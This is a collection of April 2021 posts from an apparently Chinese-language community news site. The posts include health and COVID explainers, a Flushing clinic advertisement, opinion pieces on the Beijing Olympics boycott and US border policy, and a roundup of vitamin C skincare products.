3.适当的运动:常听到一个健康促进的口诀:能站就不要坐,要活就要动,运动一分钟,多活四分钟。 选择适合的运动,如慢跑、快走、游泳等,有助于促进气血的运行,预防三高。饭后半小时后散步,也有助于消化和控制血糖。

预防三高就要良好的控制体重和生活习惯、适当运动。

4.良好的生活型态:戒烟、戒酒,适当的茶饮及咖啡摄取。尽量保持心情愉快,减少精神压力。确保规律睡眠,避免劳累过度。
5.积极应对生活压力:建议可多培养个人兴趣,参与自己有兴趣之社团活动,建立良好之人际互动。
6.定期检查「早期预防,早期发现,早期治疗」:定期量测血压、血糖及血液轻微检验,定期进行人健康检查。全民健康保险成人预防保健服务(這是美國的醫療保險嗎?如果你有依據就OK)(40岁-64岁每3年1次,65岁以上每年1次),提供的健康检查,包含有血液的检查。

华人家庭医生:20年医学经验

华人内科诊所的宋瑾医生,她的脸上总是带着恬静的笑容,让人安心、踏实。她对患者发自内心的关爱总是让人非常感动。具有20年医学经验的宋医生能准确诊断病情,给患者提供最佳治疗方案。对于没有保险的患者,宋瑾医生在收费上给予特别的优惠,尽最大可能减轻患者的负担。诊所员工精通英国粤语三个语种,态度亲切。欢迎大家来检查及治疗。

纽约家庭医生:宋瑾医生。

宋医生在纽约ST LUKES ROOSEVELT HOSPITAL MEDICAL CENTER(原哥伦比亚大学附属)医学中心内科完成住院医务训练,并获取了美国内科特考文凭。在博士研究期间就获得美国心脏学会AHA研究基金及美国生理学会相关奖项,专注于高血压疾病机理,包括血管紧张素及其相关信号传导通路研究。在美国生理学及心血管医学杂志发表多篇科学论文。曾担任纽约及康州各大医学中心内科主治医师,常年工作在内科医疗第一线。

宋博士不仅仅专注于高血压、高血脂、高血压的诊断治疗,包括糖尿病、冠心病、甲状腺疾病、鼻炎、高血压、花粉过敏、肺气肿、肺炎、康复炎、胃肠道出血、肝炎、便秘腹泻、感冒、头痛眩晕、中风、癫痫、皮炎、风湿、关节炎等等都可向宋医生咨询治疗,诊所秉着踏实严谨的医学精神,提供规范的医疗保健,致力于服务法拉盛及周边社区。

诊所接受美国各大保险,无保险者特别优惠。

法拉盛宋瑾家庭内科诊所
Jin Song MD, Internal Medicine/Primary Care
门诊地址:41-60 MAIN STREET,203,FLUSHING,NY,11355(置地大厦二楼,法拉盛邮局对面)
欢迎来电咨询门诊电话:718-290-5810
电子邮件:INNOCAREMEDICAL.HR@GMAIL.COM

2021-04-04 / by / in
北京冬奥会面临的十大尴尬

文/古风

 

 

在距离2022年北京冬季奥运会举办还剩不到一年之际,国际社会上抵制这场国际体育盛会的呼声越来越高。最让北京尴尬的就是中国新疆和香港人权等问题还在持续发酵,在国际上激起了非常广泛的谴责,促使西方国家和其它许多国家结成了极为罕见的反中联盟。在过去的几个月里,越来越多的国家和民间组织,呼吁抵制北京冬奥会,要求更换比赛国家。

  1. 国际社会抵制的尴尬

据美国之音报道,2月初,全球180多个倡导组织签署公开信,呼吁各国政府抵制北京冬奥会,以此回应中国政府在新疆大规模拘禁维吾尔穆斯林等侵犯人权的行为。加拿大议会也无异议通过一项决议,认定中国在新疆对维吾尔族人实行民族灭绝政策,并要求加拿大政府采取行动,将2022年冬奥会的主办地改到其它城市。同时,亦有多名美国国会议员发起决议案,要求美国政府抵制北京冬奥会。(下见链接2)

据德国之声报道,美国前国务卿蓬佩奥在卸任前也曾公开称,中共迫害维吾尔人的作法是“种族灭绝”。现任美国国务卿布林肯也认可蓬佩奥关于“种族灭绝”的这种说法,但拜登政府目前还没有对是否抵制北京冬奥发声。前美国驻联合国大使妮基·黑利在她的推特上写到:“我们必须抵制2022年的中国冬奥会,这对于我们的运动员而言会是一个重大损失,但将这与中国正在发生的种族灭绝相权衡,鼓励中国会导致更恐怖的未来。” (下见链接4)

  1. 重要嘉宾难以邀请的尴尬

受新冠疫情、新疆人权、香港问题、中美关系、中欧关系和中国战狼外交等影响,中共在邀请出席北京冬奥会开幕序的国际嘉宾时,无疑会遇到许多尴尬。

据美国之音报道,美国国务卿布林肯与澳大利亚、新西兰、加拿大、英国外长发表联合声明,一致认同中国政府在新疆大规模镇压和迫害人权的行为,并呼吁中国终结对维吾尔穆斯林以及新疆其他少数族裔与宗教信仰者的压迫,释放已被中国任意拘禁的人。

在这轮制裁行动中,欧盟27国最先发表声明,并于2月19日宣布对新疆官员予以制裁,制裁措施包括旅行禁令和冻结海外资产和交易。(下见链接5)

到目前为止,在国际上已有美国、澳大利亚、新西兰、加拿大、英国和欧盟27国参与制裁中国,另有印度、日本、台湾、缅甸等国与中国关系紧张。还有一些国家虽然没有公开与中共反目,但他们都是美国及其盟国的追随者。如果美欧等32国出面抵制北京冬奥会,其追随国首脑们也必然不会受邀出席北京冬奥会开幕序,剩下的只有俄罗斯、朝鲜和非洲等穷国。

  1. 赛事期间防疫的尴尬

就在北京冬奥会进入倒计时时,中国推出了“肛拭子检测” 的防疫方式,此举引起了国际社会关注。尽管中方表示这不是惟一的检测方式,但还是给北京带来尴尬。

据纽约时报中文网3月8日报道,作为遏制新冠病毒的措施之一,中国要求一些来自海外的旅客接受侵入性肛拭子检测,此举激怒和震惊美国、日本等数个外国政府。中国官方媒体承认,一些到达北京和上海等城市的游客被要求接受肛拭子检测。不过报道称,具体要求可能会因游客是否被视为高危人群而有所不同。(下见链接8)

 

  1. 赞助商招揽的尴尬

据美国之音中文网2月24日报道,针对国际社会抵制北京冬奥会的呼声日益高涨,目前国际奥委会全球赞助商大多噤声不表态,但部分观察人士认为,这是因为赞助商还未感受到政治压力。美国之音以电子邮件致函可口可乐、爱彼迎、三星、英特尔、源训、安联人寿、欧米茄等数家大型赞助商,希望取得他们对抵制呼声的回应。但只有欧米茄和安联人寿透过电子邮件回覆。

美国史密斯学院经济学教授、奥运经济学专家安德鲁.辛巴里斯在接受美国之音采访时表示,目前的局势非常诡谲,已有美国、加拿大和澳洲等政治人物以中国的人权纪录违反奥运宪章为由,支持取消北京的主办权或抵制2022北京冬奥。他说,目前国际社会对新疆、香港、西藏等问题的抗议声浪持续不断,这对中国将是非常“难堪”的“负面宣传”,也会连累到TOP奥运全球伙伴赞助商的声誉,虽然目前大多数的赞助商都不愿表态。(下见链接9)

  1. 政府财政支出的尴尬

据新华社2015年07月31日报道,2022年北京冬奥会财政预算15.1亿美元,这其中65%来源于社会投资,比如说三个奥运村全都是社会投资。另外,2015年新建的北京张家口高铁投资584.1亿元(约83亿美元)  不在此预算之列。(下见链接10)

由于受新冠疫情和美欧等国抵制的原因,社会投资及国际赞助商的热情都会受到影响。这给原本就靠举债度日的北京财政带来尴尬。

  1. 国际观众数量太少的尴尬

    据纽约时报2021年3月16日认为如果我们不禁止美国运动员参赛(2022北京冬奥会)的话,除了运动员和教练的家人,美国观众应该呆在国内,不要为中共从酒店、餐饮和门票上获得的巨额收入做出贡献。那些经常把大批客户和合作伙伴送到现场观看奥运会的美国公司,应该改为把他们送到美国的比赛场馆去。经济和外交上的抵制还应该包括与全国广播公司(NBC)的合作。NBC在揭露中共镇压和暴行的真相上已经做了重要工作。NBC可以不播放开幕式和闭幕式上任何展示极端爱国主义的元素,而用对有记录的中共违犯人权行为的报道取而代之。(下见链接11)

受疫情及国际抵制等影响,2022北京冬奥会的国际观众人数必然是大减,媒体代理商和赞助商的信心都会因此而打折扣。这对主办方来说无疑会显得很尴尬。

  1. 维权访民闹场的尴尬

维权访民是中国一大特色,无论是中共主要领导人外出视察工作,还是国内举办重大赛事,都会出现维权访民闹场事件。

据自由亚洲电台2008年12月31日报道,2008北京奥运会期间,北京当地访民曾向奥组委递交过示威游行申请,但未获得批准。访民杨秋雨对记者说:“现场有好几千访民,他们凌晨四点多钟就赶到中纪委所在地排队。申请游行的目的就是抗议当地政府对访民实施非法拘禁。”(下见链接12)

20多年过去了,中国的访民至少比当年多出好几倍,为了讨个说法,许多访民还跑到美国来拦截出访的中共领导人。可以肯定,中国的访民决不会放过北京冬奥会这种机会。

 

  1. 新疆人权问题的尴尬

北京冬奥会期间,中共当局是否允许各国记者前去新疆实地采访?这是北京最尴尬的问题。

据中共外交部官网2021年2月4日报道,外交部发言人汪文斌主持例行记者会时,彭博社记者提问:“澳大利亚政府呼吁中方允许联合国官员立刻、不受阻碍地进入新疆开展有意义的调查,外交部对此有何评论?”

汪文斌:我们欢迎包括新一届美国政府相关官员在内的外国各界人士,到新疆走一走、看一看。同时,我们也坚决反对任何国家、任何人,打着人权旗号干涉内政,反对任何人鼓吹到新疆搞有罪推定式的所谓“调查”。 (下见链接13)

据中国新闻网报道,有外媒记者在3月29日外交部与新疆维吾尔自治区共同举行的涉疆问题新闻发布会表示,听说外国记者赴新疆采访时会有警察跟踪。新疆官方新闻发言人徐贵相回应说,这种情况是不存在的。(下见链接14)

可见,国际社会都非常关注北京冬奥会期间能否前往新疆自由采访。但对中共来说,新疆和西藏早已成为新闻禁区。

  1. 香港问题的尴尬

据法广报道,2021年3月5日,近200名各界人士日前参与一项全球联署行动,声援香港民主,并呼吁抵制北京2022年冬奥会。

该活动发起人王丹对“自由亚洲”电台表示:“该联署声明的英文版在3月5日被发送给了美国国务院、众议院及白宫的相关官员。”

该声明指出,鉴于中共政权在香港、新疆及大陆所推行的多种暴政,及其对台湾自由民主体制的持续威胁,中共政权“已经具备法西斯政权的性质,不配主办奥运会这样重大的国际体育活动”。 (下见链接15)

近几年来,国际社会对香港问題是高度关注,北京明年要举办冬奥会,但香港问题是无法回避的。

  1. 国际奥委的尴尬

据中国人权双周刊报道,国际奥委会的商业运作模式面临的难题,其实应该是国际人权界的难题。在全球经济繁荣时期,许多国家想过把办奥运的瘾,国际奥委会遵守《奥林匹克宪章》,将人权承诺打包发送,不怕承办国不同意;但如今各民主国家都遵从民意看紧荷包,奥委会的选择空间极小,人权原则就只能流于形式了。

习近平上任以来,出于装点盛世的需要,政治上面临高层残酷激烈的权争,经济上“三驾马车”已经死火,失业问题将成为他任期内始终无法驱散的乌云。面对民怨四起的局面,总得有场“太平盛事”点缀“习氏十年”, 因此,举办奥运当然是首选。(下见链接15)

 

北京冬奥申办成功以来,国际人权组织就纷纷发表声明,抗议国际奥委会的决定。面对国际社会的强烈呼声,国际奥委会也很尴尬。当然,国际社会反对声音越大,国际奥委会的利益也就越大。因为中共的独裁们就爱吃这一套。

本文资料来源链接:

1.美国之音中文网:北京在一片抵制声中进行冬奥会的测试活动

2021年4月1日

https://www.voachinese.com/a/China-defies-boycott-calls-with-Beijing-2022-Olympic-tests-20210401/5836872.html

 

2.美国之音中文网:抵制声浪四起,北京冬奥与1936纳粹奥运比肩

2021年2月25日

 

3.新浪财经:境外反华势力施压赞助商抵制北京冬奥 迄今没有任何知名企业买账 2021年02月25日

https://finance.sina.com.cn/world/gjcj/2021-02-25/doc-ikftpnny9571176.shtml

  1. 德国之声中文网:中国不宜当东道主“——蓬佩奥呼吁美国抵制北京冬奥

2021月3月6日

https://www.dw.com/zh/%E4%B8%AD%E5%9B%BD%E4%B8%8D%E5%AE%9C%E5%BD%93%E4%B8%9C%E9%81%93%E4%B8%BB%E8%93%AC%E4%BD%A9%E5%A5%A5%E5%91%BC%E5%90%81%E7%BE%8E%E5%9B%BD%E6%8A%B5%E5%88%B6%E5%8C%97%E4%BA%AC%E5%86%AC%E5%A5%A5/a-56792860

5.美国之音:美英欧加联手制裁中国新疆官员,拜登“盟友外交”打响第一炮

2021年3月23日

https://www.voachinese.com/a/coordinated-sanctions-on-china-bidens-allies-diplomacy-success-20210322/5824904.html

6.BBC中文网:中国新冠肛拭子测试引发的外交抗议

2021年3月3日

https://www.bbc.com/zhongwen/simp/chinese-news-56252359

7.德国之声中文网:专访:肛拭子测新冠,真的有必要吗?

2021-04-03 / by / in ,
美墨边境:政策越软,危机越重

文|他乡月更明

不知道拜登政府是刚上台,不懂如何做,还是缺乏诚意,故意放水,美墨边境的移民危机正愈来愈烈,愁坏了边境的巡防官员。

源源不断的人流,让边境巡防官员忧虑重重

非法越境者,每天新增被拘人数高达9,000人。绝大多数人在短暂拘留之后,就会被释放到美国境内。

在德州Donna地区,NBC记者发现,一处疫情期间设置人数最多250人的设施内,实际住进4,000人,其中大部分是无人陪伴的儿童,最小的年仅4个月。在这所设施内,每座限制人数为32人的简易房内,实际住进人数为500人以上,有的超过600人。

一位边境官员上周对记者说,过去30天内,他们平均每天遇到5,000位非法移民。仅上个月,就有大约15万人非法越境。这是美国20年来见过的最高数字。

可能是因为惧怕批评,拜登现在对非法入境者实行“抓了就放”的政策。但这种软弱的决定不但解决不了危机,反而导致危机愈演愈烈。因为,从非法移民的角度来看,这等于鼓励他们跨越国境。

一位边境巡逻队官员对NBC记者说,如果到本月21日,还不能更新《美国法典第42卷》(Title 42)中的措施,届时边境的每座设施,都会爆满。

川普时期曾依据该法典,授权卫生官员特殊权力,阻止移民从疫情严重的国家入境。这一政策现在被拜登废除了。

非法越境的代价

本周二(3月30日),加州联邦机构指控一名男子组织美墨边境的人口活动,导致来自墨西哥和危地马拉的13人在车祸中丧生。

这位男子是美国居民,他负责运输转移非法移民。在一辆载客量为8人的SUV上,他们硬塞进去25人,结果与一辆拖车相撞。为了避免被发现,他们常常鲁莽驾驶,完全忽视乘客的安全。

那些冒险闯关者,一路上往往经历了千辛万苦。

几年前一位移民曾向媒体介绍他旅途上的经历。从家乡出发,进入德州边境城市Brownsville之前,他们需支付组织者6000美元。之后向休斯顿转移,一路上东躲西藏,怕被边境巡逻队和地方警察发现,还要向组织者缴纳另外的6500美元。而在墨西哥农村地区,他们一天的收入,仅仅几美元。

在这一地区越境的女性,付出的代价往往更大。

跨越南部边境的很多移民妇女成为性侵案的受害者,有时候她们还被要求携带毒品。媒体披露出很多类似的案例。如果不听从走私者的摆布,她们就会被殴打,甚至被强迫卖淫。这种旅途的成本值得吗?

他们费尽千辛万苦进入美国,有的说是为摆脱家乡黑帮的控制,有的则是希望摆脱贫困的生活。黑帮的欺凌,其实是要依赖国内政府解决的问题;摆脱贫穷,则需要靠国内政府以及个人的共同努力。如果有条件,通过正当途径,来到美国才是正途。否则,如果人人不请自来,那美国能装的下吗?

从非法移民角度看,这种软弱的边境政策,看似善良,实际后果却是鼓励人性之恶;鼓动更多人搭便车,不经正常渠道进入美国;也鼓励了更多犯罪分子为发财,利用这一机会,走私人口,贩卖毒品,甚至拐卖妇女和儿童。

从美国社会正常运作的角度来看,这种软弱政策给美国社会带来了疫情的扩散,沉重的税务负担,还有更严重的普通劳工失业问题。这只会加重疫情下美国社会的危机。

如果拜登的政策不改,美墨边境的危机将无解。

看来,那堵墙,那堵川普搭下的高墙,还是最为明智的选择。

2021-04-03 / by / in , , , , ,
是流感?普通感冒?还是新冠肺炎?别傻傻分不清,一文看懂三者区别

文|无疆行者

新冠肺炎(武汉肺炎、COVID-19)目前仍然在全球肆虐。在这个特殊时期,如果有小伙伴不幸出现发烧咳嗽的症状,那到底是普通感冒,还是流感,还是新冠肺炎呢?今天金牌资讯的小编就来给大家介绍一下,新冠肺炎和流感的相似与差异之处。

体征和症状相似与差异之处:

新冠肺炎和流感都有不同程度的体征和症状,从无症状到严重症状不等。相似的常见症状包括:

●发烧发冷
●咳嗽
●呼吸急促或呼吸困难
●疲倦
●咽喉痛
●流鼻涕或鼻塞
●肌肉疼痛或身体疼痛
●头痛
●有些人可能有呕吐和腹泻,这种情况在儿童中比成年人更常见。

新冠肺炎在某些人中引起了更严重的疾病。与流感不同,新冠肺炎的其他体征和症状可能包括味觉或嗅觉的改变或丧失。

感染后出现症状的时间

相似之处:

对于新冠肺炎和流感,从被感染的人到开始出现疾病症状之间,可能要经过1天或更多天。

差异:

流感通常是,一个人在感染后1至4天出现所有症状。主要症状表现为发高烧,发热可持续3~4天;通常会出现头痛、发冷、全身酸痛、乏力、咳嗽、胸痛等全身症状;可能伴随打喷嚏、流鼻涕、鼻塞等上呼吸道症状。

新冠肺炎比感冒和流感花更长的时间才能出现症状。

新冠肺炎通常,一个人在感染后5天会出现症状,但症状最早可能在感染后2天出现,或者最迟在感染后14天出现,时间范围可能会有所不同。

感染后可以传播病毒多长时间

相似之处:

对于新冠肺炎和流感,有可能在出现任何症状之前将病毒传播至少1天。

差异:

如果一个人患有新冠肺炎,那么与感染流感相比,他们的传染时间可能更长。

大多数流感患者在出现症状之前会传染1天左右。

患流感的年龄较大的儿童和成人在其发病的最初3-4天最具传染性,但许多人在大约7天内仍具有传染性。婴儿和免疫系统较弱的人可能具有更长的传染性。

感染新冠肺炎,人们可能会在出现征兆或症状之前先传播病毒约2天,然后在征兆或症状首次出现后至少10天内保持传染性。如果某人无症状或症状消失,则在新冠肺炎呈阳性后至少有10天会传染。

传播的方式

相似之处:

新冠肺炎和流感均可在彼此密切接触的人(约6英尺内)之间在人与人之间传播。两者都主要由患病的人咳嗽,打喷嚏或说话时产生的飞沫传播。

一个人可能会通过与人体的物理接触(例如,握手)或触摸表面上有病毒的物体或物体,然后触摸自己的嘴,鼻子或眼睛而被感染。

流感病毒和新冠肺炎病毒,都可能在人们开始出现症状之前就已经开始传播给他人。

差异:

尽管人们认为新冠肺炎和流感病毒以相似的方式传播,但在某些人群和年龄组中,新冠肺炎的传染性比流感高。此外,已观察到新冠病毒的超级传播事件多于流感。这意味着,新冠病毒可以快速轻松地传播给很多人,并会传播更长的时间。

并发症

相似之处:

无论新冠肺炎和流感可导致并发症,包括:
肺炎
呼吸衰竭
急性呼吸窘迫综合征(肺部液体)
败血症
心脏损伤(例如心脏病发作和中风)
多器官衰竭(呼吸衰竭,肾衰竭,休克)
慢性病恶化(包括肺部,心脏或神经系统或糖尿病)
心脏,大脑或肌肉组织发炎
继发性细菌感染

差异:

大多数得了流感的人会在几天到不到两周的时间内康复,但有些人会出现并发症。

与新冠肺炎相关的其他并发症可能包括:

肺,心脏,腿部或大脑的静脉和动脉中的血块
儿童多系统炎症综合症(MIS-C)

良好卫生习惯 预防病毒传播

养成良好卫生习惯,一些简单的日常预防措施就可以预防呼吸道病毒传播。例如:

●避免与患病的人近距离接触,离开6尺以上。
●避免用未清洗过的手触碰眼睛、鼻子和嘴巴。
●经常用肥皂和水清洗双手,至少洗手20秒。如果没有肥皂和水,可以使用含有至少 60%酒精的酒精类净手液。
●生病时应要待在家里,并且要清洁和消毒经常触摸的物体和表面。

2021-04-03 / by / in , ,
接种2剂疫苗后仍感染中共病毒者 华盛顿州已超百人

文|无疆行者

据美国当地媒体披露,自2月1日以来,流行病学家在华盛顿州发现了102例所谓的“疫苗突破性病例”(Beakthrough Cases)。这一数字仅占全州已完全接种中共病毒疫苗总人数的0.1%。

所谓“疫苗突破性病例”,指已经完整接种疫苗两周后,再次被检测出中共病毒阳性的病例。

完全接种指的是,接种了Moderna公司或辉瑞/生物科技公司(Pfizer/BioNTech)生产的双剂注射疫苗的人。第三种疫苗是来自强生公司(Johnson & Johnson),该疫苗是单剂注射。

根据华盛顿州卫生部门的说法,需要进行进一步调查,以确定在接种疫苗后感染的人群的感染模式。

报告显示,华州发现的疫苗突破性病例分布于该州的18个县中,这些病例的患者都是在接受了完整剂量的COVID-19疫苗两周后,又通过阳性PCR检测或Antigen检测被确认为突破性病例。他们当中的大多数患者只有轻微症状,但也有8名患者症状较重并住院,有两人已经死亡。

该州卫生官员正在调查是否因新冠变异病毒所导致。

华盛顿州卫生部门负责人乌迈尔•沙赫表示,大规模临床试验显示,接种新冠疫苗的人相比不接种的人,最多可降低95%的感染新冠几率。然而,疫苗并非100%有效。

沙赫说:“尚不清楚SARS-CoV-2(中共病毒)在疫苗突破病例中的传播途径,因此建议隔离(与他人隔离),直到症状出现(或无症状病例的检测日期)过去10天、症状正在改善,且在未使用退热药物的情况下,患者已有至少24小时不发烧。”

他提醒人们,即便是在接种疫苗之后,依然需要佩戴口罩、保持社交距离并勤洗手,以避免将病毒传染给还没有打疫苗的人。

美国其它州也有人在完全接种疫苗后,仍感染了中共病毒。

爱荷华州的官员上周告诉记者,虽然这个接种疫苗后仍感染了病毒的人数还不到100人,但已经突破病例记录。南卡罗来纳州政府本周透露,全州已发现134例此类突破病例。佛罗里达州也有数十名患者在完全接种疫苗超过14天之后感染了中共病毒。

2021-04-03 / by / in , ,
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文|美顏小伙伴

想要让肌肤更明亮、更紧实吗?那妳一定不能少了维生素C!

纽约市西奈山医院皮肤科化妆品和临床研究主任Joshua Zeichner解释,维生素C是强力的抗氧化物,不仅能改善色素沉淀、预防皮肤发炎、增进胶原蛋白生成,也能中和自由基,减少紫外线对皮肤的伤害。

想要胶原蛋白和弹性蛋白 少不了维生素C

医学临床研究发现,随着年龄增长,人体自然产生的胶原蛋白和弹性蛋白会持续减少,皮肤因为正常老化或紫外光照射,逐渐失去弹性而形成皱纹、长斑,若想要皮肤保持强韧且有弹性,胶原蛋白和弹性蛋白正是关键所在。

由于人体无法自行合成维生素C,虽然通过饮食能提供基本代谢所需的维生素C,但无法有效运送到皮肤,所以涂抹维生素C的保养品,有益皮肤保养。

以下为大家精选5款维生素C精华液,想要美白、除斑或除痘的妳,一定不能错过!

物超所值款
1. Naturium Vitamin C Complex Serum(官网售价:$20)

Naturium Vitamin C Complex Serum不含香料,质地很轻透。

这款精华液物超所值,不含香料,质地很轻透,吸收速度快,有助于美白肌肤,减少细纹产生。如果想找经济实惠、效果又好的精华液,Naturium的精华液将是很好的选择。

官网连结:https://naturium.com/products/vitamin-c-complex-serum

针对偏油肌或痘痘肌
2. SkinCeuticals Silymarin CF(官网售价:$166)

SkinCeuticals这款新品,主要针对偏油肌或痘痘肌,将维生素C结合水飞蓟素、阿魏酸和水杨酸,有效抗氧护肤、防止自由基损伤,同时减少油脂过氧化,发挥焕肤去角质的作用。

SkinCeuticals Silymarin CF有效抗氧护肤、防止自由基损伤。

持续使用一段时间,将改善肤质,有效减少细纹、皱纹。

官网连结:https://www.skinceuticals.com/silymarin-cf-3606000480681.html

含15%左旋维他命C
3. SkinCeuticals C E Ferulic(官网售价:$166)

SkinCeuticals抗氧化精华的价格不便宜,但其成效让许多皮肤科医生爱不释手。这款精华液含15%左旋维他命C,能中和不稳定的自由基,提供抗氧化保护,预防光老化。此外,SkinCeuticals抗氧化精华也能刺激胶原蛋白增生,有效淡化细纹和皱纹、预防色素沉淀。

SkinCeuticals C E Ferulic能中和不稳定的自由基,提供抗氧化保护。

使用时,只需豌豆大小的量,涂抹全脸即可。当妳隔天早上醒来时,看到更明亮、光华的肌肤时,就会觉得SkinCeuticals抗氧化精华值得这个价格。

官网连结:https://www.skinceuticals.com/c-e-ferulic-with-15-l-ascorbic-acid-635494263008.html

稳定有效,醫師喜愛
4. SkinBetter Science Alto Defense Serum(官网售价:$155)

SkinBetter Science这款防护精华,受到皮肤科医师的喜爱。Alto Defense Serum富含维生素C,在临床实验中,该产品被证明是稳定和有效的。它含有其他抗氧化剂,有助于保持细胞健康,减少发炎和红肿。

SkinBetter Science Alto Defense Serum含有其他抗氧化剂,有助于保持细胞健康,减少发炎和红肿。

此外,Alto Defense Serum含神经酰胺、甘油(保湿成分)等,有效修护肌肤。这款精华液不会堵塞毛孔,痘痘肌也适用。

官网连结:https://skinbetter.com/products/protect-alto-defense-serum/

修护肌肤并锁住水分
5. 111Skin Vitamin C Brightening Booster(官网售价:$155)

111Skin Vitamin C Brightening Booster含有甘油保湿成分、杏核油成分,能修护肌肤并锁住水分。

这款高浓度的精华液,抹在皮肤上的感觉很轻盈柔软,使用几周后,显著淡化黑斑。除含有维生素外,这款精华液还含有甘油保湿成分、杏核油成分,能修护肌肤并锁住水分。

官网连结:https://111skin.com/products/vitamin-c-brightening-booster

2021-04-03 / by / in
中国大陆自愿接种正变为强制接种,接种中国产疫苗国家,疫情愈演愈烈

文|无疆行者

最近,在中国大陆打国产疫苗,正在变成一种政治化的运动。同时,选择接种中国大陆疫苗的多个国家,智利、土耳其及巴基斯坦,确诊人数不降反升,疫情正愈演愈烈。

不久前,中国国内媒体宣传,按照“知情、同意、自愿、免费”的政策接种疫苗,但现在正变为强迫接种。近日,微博热搜榜甚至出现“村民不打疫苗将被拉入黑名单”等耸人听闻的话题。

最近一个时期,中国国内媒体对国人打疫苗,一直宣传的政策,概括起来是8个字:“知情、同意、自愿、免费”。如上海市,要求按照“分步实施、有序推进,条块结合、以块为主,知情同意、自愿免费”原则,开展新冠疫苗接种工作。山西省提出坚持“知情 同意 自愿 免费”,全省新冠疫苗接种工作有序推进。

 

可是在中国大陆,因为假疫苗、毒疫苗事件频发,而且新冠病毒疫苗的研制过程和质量备受质疑,民众对国产疫苗普遍没有信心,接种意愿很低。于是,各地开始催打国产疫苗,自愿接种迅速变为强迫接种。

3月31日,微博热搜榜出现话题“村民不打疫苗将被拉入黑名单”。相关内容显示,海南省万宁市的万城镇近日贴出一张公告写着“主动接种 全民接种 应种尽种”,下方列出不接种的五个后果。

包括: 1. 出行交通没车坐;2. 市场、超市、酒店难进入;3. 餐饮、酒店、商超等服务业不得营业;4. 不得享受政府优惠政策;5. 今后子女上学、工作、参军、住房报建等都会受到影响。

但人们对国产疫苗普遍缺乏信心,怕出现严重的副作用。

有网民留言说:“3月29日新规出来,备孕期也要求打了,都还没有孕期接种的临床测试,如果生出畸形儿国家管吗?”还有人说:“独裁疫苗”、“不怪国外说咱们没有人权”。

另外,据海外媒体报道,在香港施打国产疫苗,严重不良反应个案频传,已有11人接种科兴疫苗后死亡。选择接种中共国产疫苗的多个国家,智利、土耳其及巴基斯坦,确诊人数不降反升,疫情愈演愈烈。

智利在2月份已打了近900万针科兴疫苗,平均每100人接种47针,是南美接种率最高的国家。但当地确诊人数不跌反升,3月26日更录得7,626宗的单日确诊新高,导致病床供应紧张,首都圣地亚哥近日也将封城。

土耳其自1月中旬接种科兴,至少已有800万人注射,占总人口超过10%。但疫情同样于2月下旬后反扑,3月30日更录37,303宗新增确诊,为去年3月11日疫情爆发以来单日最高。

另外,巴基斯坦从2月初开始使用中共生产疫苗,目前却正在经历第三波疫情,全国的感染率上升至11%,是疫情以来的最高水平。其中,有二十多个城市因疫情严峻须“封城”。

2021-04-02 / by / in , ,
变种病毒感染增多,年轻人免疫力不如老年人?年轻人感染大幅增加,疗养院感染人数明显下降

【金牌网讯】美国疾病控制和预防中心(CDC)报告,全美已经出现超过11,500个变种病毒B.1.1.7感染病例。因不是每个案例都会做基因排序,所以,实际感染人数可能更多。

感染B.1.1.7案例最多的州是佛罗里达州,其次是密歇根州。密歇根当地官员称,当地另一波疫情高潮正在到来,并认为疫情扩散的趋势,与新的变种病毒、旅行增多以及人们对疫情的疲劳有关。

新泽西州官员本周三称,当地的感染新冠病毒案例和住院率都在增加,变种病毒据认为是主要原因。过去两周,当地的住院率已经增加了28%。

整个三月份期间,新泽西州的新冠病毒住院率,在20-29岁的年轻人当中增加31%;在40-49岁年龄段的感染者,增加了48%。

老年人可能是因为接种了疫苗的缘故,在新泽西,老年人感染人数只有单位数的增长率。

到目前为止,只有17%的美国人接种了疫苗。现在每天接种人数大约为300万人。

疫苗在抑制疫情方面正在发挥明显作用,尤其是在老人院,感染Covid-19的人数大幅下降。据美国健康保健协会和国家生活辅助中心的分析,从去年12月份接种疫苗以来,老人院感染新冠肺炎的病例减少了96%,与新冠有关的死亡率下降了97%。疗养院每周Covid-19感染人数和死亡率在3月7日均降至最低。

近来美国有一些州和地方官员,已经宣布接触口罩强制令,本周二阿肯色州解除口罩强制令,阿拉巴马州将于下周解除,犹他州也准备在本月中旬前后接触口罩强制令。目前仍有31个州,和华盛顿特区及波多黎各地区仍要求在公共场所需佩戴口罩,有19个州已经解除了口罩强制令。

                             还有口罩强制令吗?
阿拉巴马州 阿拉斯加州
加州 亚利桑那州
科罗拉多州 阿肯色州
康乃狄克州 佛罗里达州
德拉华州 乔治亚州
哥伦比亚特区 爱达荷州
夏威夷州 爱荷华州(Iowa)
伊利诺伊州 密西西比州
印第安纳州 密苏里州
堪萨斯州 蒙大拿州
肯塔基州 内布拉斯加州
路易斯安那州 北达科塔州
缅因州 俄克拉荷马州
马里兰州 南卡罗莱纳州
马赛诸塞州 南达科塔州
密歇根州 田纳西州
明尼苏达州 德克萨斯州
内华达州 威斯康辛州
新罕布什尔州 怀尔明州
新泽西州
新墨西哥州
纽约州
北卡罗莱纳州
俄亥俄州
奥瑞肯州
宾夕法尼亚州
波多黎各
罗德岛州
犹他州
佛蒙特州
佛吉尼亚州
华盛顿特区
西佛吉尼亚州
2021-04-02 / by / in , , , , ,
便携式测试工具,15分钟内可测出病毒;3小时内,确定是否携带高度传染的新冠病毒变种

【金牌网讯】新冠病毒检测技术大飞跃。新设备可在15分钟内诊断出新冠病毒,同时测试出类似的流感病毒;还可以执行基因测试,在3小时内确定样本是否与高致病性病毒变种有关。

据Daily Mail 网站报道,加州索尔科生物研究所( Salk Institute for Biological Studies, California)研究人员开发出的这种便携式新冠病毒测试装置,运行起来比其它测试更快、更便宜,可用来在学校和机场等地侦测病毒。

这种装置在几分钟内即可侦测出新冠病毒,甚至确定其是否有高度传染性。

用来检测的设备只有便携式笔记本大小,能够在3小时内测试出变种病毒,比如那些在英国和南非出现的变种病毒。这可能有助于确定病毒传播的速度。不像其它测试方法,完成同样的检测,需要昂贵的基础架构作为支撑,往往需要不同的机器,并进行2-3次不同的检测。

目前广泛采用的新冠肺炎病毒检测技术,采用的是聚合酶链反应(PCR)测试方法。这种检测被认为是检测的黄金标准,用来寻找病毒的基因物质。

如果患者的检测结果呈阳性,患者不知道他感染的病毒是不是高致病性变种病毒,除非送到不同的实验室,花几天时间检测才能知道基因排序的结果。

另外,联邦的规定也限制了大学可以报告什么信息及向谁报告。这意味著县卫生官员甚至不知道哪个县有病例。执行该检测的某些实验室,也不需要告诉医生或者患者检测的结果。

